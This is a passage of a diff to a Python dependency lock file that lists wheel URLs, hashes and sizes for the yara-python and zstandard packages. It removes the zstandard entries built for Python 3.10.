"sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42", size = 1825559, upload-time = "2025-05-27T14:14:21.508Z" }, { url = "https://files.pythonhosted.org/packages/17/17/f0bc4a643d8c3afb485c34b70fe1d161f3fe0459361d2eb3561d23cc16e1/yara_python-4.5.4-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de", size = 2471737, upload-time = "2025-05-27T14:14:23.876Z" }, { url = "https://files.pythonhosted.org/packages/3f/11/39c74fc2732b89d4a5a6ad272b2b60ec84b3aae53b120a9eccc742eec802/yara_python-4.5.4-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95", size = 208862, upload-time = "2025-05-27T14:14:25.941Z" }, { url = "https://files.pythonhosted.org/packages/05/ef/ff38abffe3c5126da0b4f31471bc6df2e38f4f532a65941a1a8092cddb4f/yara_python-4.5.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc", size = 2478391, upload-time = "2025-05-27T14:14:27.802Z" }, @@ -3683,22 +3281,6 @@ version = "0.25.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, - { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, - { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, - { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, - { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, - { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, - { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, - { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, - { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, - { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, - { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, - { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, - { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, - { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, - { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, - { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" },